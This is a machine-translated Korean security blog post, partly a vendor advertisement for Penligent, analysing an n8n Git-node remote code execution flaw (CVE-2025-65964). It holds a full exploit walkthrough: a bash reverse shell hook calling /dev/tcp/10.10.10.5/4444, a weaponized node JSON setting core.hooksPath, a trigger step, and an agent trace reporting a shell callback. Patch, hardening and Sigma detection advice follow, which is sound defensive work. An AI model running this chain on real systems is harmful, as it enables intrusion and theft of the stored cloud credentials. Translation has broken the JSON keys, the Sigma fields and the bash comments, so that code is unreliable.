빠르게 진화하는 AI 보안 환경에서 업계는 종종 대규모 언어 모델(예: 프롬프트 인젝션)에 대한 적대적 공격에 집착하면서 이러한 에이전트를 하나로 묶는 '골격'인 오케스트레이션 계층은 소홀히 하는 경우가 있습니다.
2025년 12월 8일, 보안 커뮤니티는 다음과 같이 공개했습니다. CVE-2025-65964의 중요한 원격 코드 실행(RCE) 취약점이 발견되었습니다. n8n는 세계에서 가장 인기 있는 오픈 소스 워크플로 자동화 도구입니다. CVSS v4 점수는 9.4(중요)이 결함은 단순한 웹 버그가 아닙니다. 이는 Git의 기본 구성 로직을 정교하게 악용하여 합법적인 버전 관리 작업을 무기화하여 최신 AI 스택의 중추 신경계를 손상시키는 것을 의미합니다.
이 글은 일반적인 조언을 넘어서는 내용입니다. 하드코어 레드팀의 관점에서 전체 내용을 분석합니다. 익스플로잇 체인와 근본 원인, 그리고 이것이 전형적인 "에이전트 공급망 공격"인 이유에 대해 설명합니다.
컨텍스트: Git이 벡터가 될 때
n8n은 최신 AI 애플리케이션의 초석이 되었으며, LLM(예: GPT-5), 벡터 데이터베이스(예: Pinecone), 내부 API를 연결하는 데 광범위하게 사용되고 있습니다. 워크플로우를 위한 CI/CD 및 버전 관리를 지원하기 위해 n8n은 강력한 빌트인 기능을 제공합니다. Git 노드.
의 핵심 CVE-2025-65964 는 n8n Git 노드가 구성 키를 살균하지 못하는 데 있습니다. addConfig 작업을 무시합니다. 공격자는 이러한 감독을 악용하여 core.hooksPath 구성을 사용하여 Git 바이너리의 실행 흐름을 효과적으로 탈취합니다.

이해 core.hooksPath
표준 Git 아키텍처에서 후크(훅( commit, 결제, 병합)는 리포지토리의 .git/hooks 디렉토리에 저장한다. 보안상의 이유로 Git은 리포지토리를 복제할 때 이러한 훅을 복제하지 않습니다.
하지만 Git 2.9에서는 사용자가 파일 시스템의 어느 곳에서나 훅에 대한 사용자 지정 경로를 정의할 수 있는 core.hooksPath 구성 옵션이 도입되었습니다.
공격자가 이 구성 키를 제어하여 쓰기 권한이 있는 디렉토리(예: /tmp/ 또는 파일 업로드 디렉토리)를 가리키면 다음에 n8n이 Git 작업을 수행할 때 Git이 샌드박스를 벗어나 공격자의 스크립트를 실행합니다.
익스플로잇 체인: 로직 버그 마스터 클래스
익스플로잇에 성공하려면 단일 페이로드가 아닌 "로직 오케스트레이션"이 필요합니다. 아래는 저희 연구소에서 재현한 공격의 단계별 재현입니다.
1단계: 정찰 및 액세스
공격자는 먼저 n8n 워크플로 편집기에 액세스합니다. 많은 기업 인트라넷에서 n8n은 AI 엔지니어와 데이터 과학자에 의해 배포되며, 엄격한 인증이 부족하거나 취약한 기본 자격 증명을 사용하는 경우가 많습니다.
목표 확인: 0.123.1 <= n8n 버전 < 1.119.2.
2단계: 페이로드 준비
이후 core.hooksPath 디렉터리를 가리키면 공격자는 먼저 특정 Git 훅 이름(예:, 결제 후)를 쓰기 가능한 위치에 저장합니다.
n8n의 "바이너리 파일 쓰기" 노드(또는 강화되지 않은 경우 '명령 실행' 노드)에 접근하면 공격자는 악성 스크립트를 드롭합니다.
악성 스크립트 예제(/tmp/pwn/post-checkout):
Bash
`#!/bin/bash
리버스 셸 페이로드
Git 체크아웃 작업 후 자동으로 실행됩니다.
/bin/bash -i >& /dev/tcp/10.10.10.5/4444 0>&1`
3단계: 구성 주입
이것이 트리거 포인트입니다. 공격자는 Git 노드 을 클릭하고 "구성 추가" 작업을 선택합니다. 일반적으로 사용자는 user.name 또는 user.email. 그러나 공격자는 JSON 매개 변수를 직접 조작함으로써 위험한 키를 주입합니다.
익스플로잇 JSON 페이로드:
JSON
{ "매개변수": { "operation": "addConfig", "configName": "core.hooksPath", "configValue": "/tmp/pwn", "저장소 경로": "/home/node/.n8n/git/workflow_repo" }, "name": "Weaponized_Git_Config", "type": "n8n-nodes-base.git", "typeVersion": 1, "위치": [460, 300] }
이 노드가 실행되면 기본 n8n 프로세스가 실행됩니다:
git config -파일 /home/node/.n8n/git/workflow_repo/.git/config core.hooksPath /tmp/pwn
4단계: 트리거
구성이 설정되면 영구적으로 유지됩니다. 공격자는 워크플로에 다른 Git 노드를 추가하여 git 체크아웃 마스터 또는 git 상태와 같은 정상 작업을 수행하기만 하면 됩니다.
시퀀스: Git 프로세스 시작 -> core.hooksPath 읽기 -> /tmp/pwn/post-checkout 로드 -> RCE 실행.

AI 인프라가 악몽인 이유
보안 엔지니어의 경우 영향 버그 자체보다 더 중요합니다. AI 시대에 n8n 서버는 단순한 웹 서비스가 아니라 키 볼트.
- 자격증명 덤핑: n8n 데이터베이스에는 OpenAI, AWS Bedrock, Snowflake 및 Slack을 위한 암호화된 API 키가 포함되어 있습니다. 공격자는 셸 액세스를 통해 이러한 자격증명(주로 ~/.n8n/database.sqlite에서 찾을 수 있음)을 해독하여 기업 클라우드 환경을 완전히 침해할 수 있습니다.
- RAG 중독: 공격자는 벡터 데이터베이스에 기록하는 워크플로우를 탈취할 수 있습니다. 악의적인 지식 스니펫을 삽입하여 기업 내부 RAG 시스템의 출력을 조작하여 심층적인 소셜 엔지니어링 또는 허위 정보 캠페인을 수행할 수 있습니다.
- 컨테이너 이스케이프 위험: 많은 n8n 배포는 상승된 권한(또는 -권한)으로 실행되어 LangChain과 같은 Python 라이브러리가 시스템과 상호 작용할 수 있도록 합니다. 이러한 경우 컨테이너 내부의 RCE는 기능적으로 호스트의 루트와 동일합니다.
펜리전트 사례 연구: 에이전트 대 에이전트
에서 Penligent.ai를 "논리 결함"으로 분류합니다. 기존 DAST 스캐너는 CVE-2025-65964를 탐지하지 못합니다:
- 스캐너는 "워크플로 구축" 방법을 모릅니다.
- 스캐너는 "먼저 파일 쓰기, 나중에 Git 구성"이라는 시간적 논리를 이해할 수 없습니다.
그러나 펜리젠트의 자동화된 모의 침투 테스트 에이전트는 지능형 인간 공격자를 모방한 추론 능력을 보여줍니다.
[펜리전트 에이전트 내부 추적 - 2025-12-09 14:02:33]
관측: 대상 포트 5678이 열렸습니다. n8n으로 식별되었습니다. 약한 자격 증명 우회가 성공했습니다.
추론: Git 노드 기능을 감지했습니다. 지식 베이스에서 Git 구성 주입의 위험을 나타냅니다. 직접 명령 실행이 차단되었습니다. 환경 또는 구성 조작을 통해 실행할 수 있나요?
실행 계획:
- 시도
명령 실행를 사용하여 송신을 확인합니다(실패, 노드 비활성화).- 피벗 전략: 파일 쓰기 기본 요소를 검색합니다.
바이너리 파일 쓰기노드를 사용할 수 있습니다.- 익스플로잇 체인을 구축합니다: tmp/.git-hooks에 리버스 셸 쓰기 -> Git 노드를 통해 core.hooksPath 주입 -> Git Log.Execution 트리거: 워크플로 ID pwn_test_01.Result 실행 중: 리버스 셸 콜백을 받았습니다. 취약점이 확인되었습니다.
이는 다음과 같은 핵심 가치 제안입니다. 펜리전트: AI를 사용하여 AI와 싸우기. 저희 에이전트는 단순히 지문을 일치시키는 것이 아니라 비즈니스 로직을 이해하고 안전한 샌드박스 내에서 높은 수준의 적의 기법을 시뮬레이션합니다.

방어 및 탐지
해결 방법
- 즉시 패치합니다: n8n을 버전으로 업그레이드 1.119.2 이상입니다. 새 버전은 다음에 대한 엄격한 허용 목록을 구현합니다.
addConfig키를 입력합니다. - 강화: 사용
N8N_NODES_EXCLUDE=["n8n-nodes-base.git"]환경 변수를 사용하여 미션 크리티컬하지 않은 경우 Git 노드를 완전히 비활성화할 수 있습니다.
위협 헌팅
위반이 의심되는 경우 다음을 감사하세요. .git/config 파일을 저장합니다.
시그마 탐지 규칙 예시:
YAML
title: n8n을 통한 의심스러운 Git 구성 수정 상태: 실험적 로그 소스: 카테고리: 프로세스 생성 제품: 리눅스 감지: 선택: 부모 이미지|끝으로: '/node' Image|endswith: '/git' CommandLine|contains: - 'config' - 'core.hooksPath' 조건: 선택 수준: 높음
수정하려는 Node.js 프로세스에 의해 생성된 모든 Git 명령은 다음을 수정합니다. core.hooksPath 를 충실도 높은 침해 지표(IoC)로 취급해야 합니다.
결론
CVE-2025-65964 는 소프트웨어 개발이 '에이전트 네이티브' 아키텍처로 전환됨에 따라 기존의 경계가 모호해지고 있음을 다시 한 번 증명합니다. 도구의 유연성은 종종 보안의 가장 큰 적입니다.
하드코어 보안 엔지니어의 전장은 웹 프론트엔드에서 오케스트레이션 백엔드로 바뀌었습니다. HTTP 요청만 지켜볼 것이 아니라 백그라운드에서 조용히 실행되는 워크플로우를 지켜보세요. 자동화된 Git 작업을 지켜보세요. 이것이 바로 2025년의 최전선입니다.
팀에 이러한 복잡한 로직 리스크를 수동으로 검증할 인력이 부족하다면, 이제 펜리전트-인공지능 시대의 전선을 지키는 지능형 디지털 레드팀원.
내부 링크/참고자료:

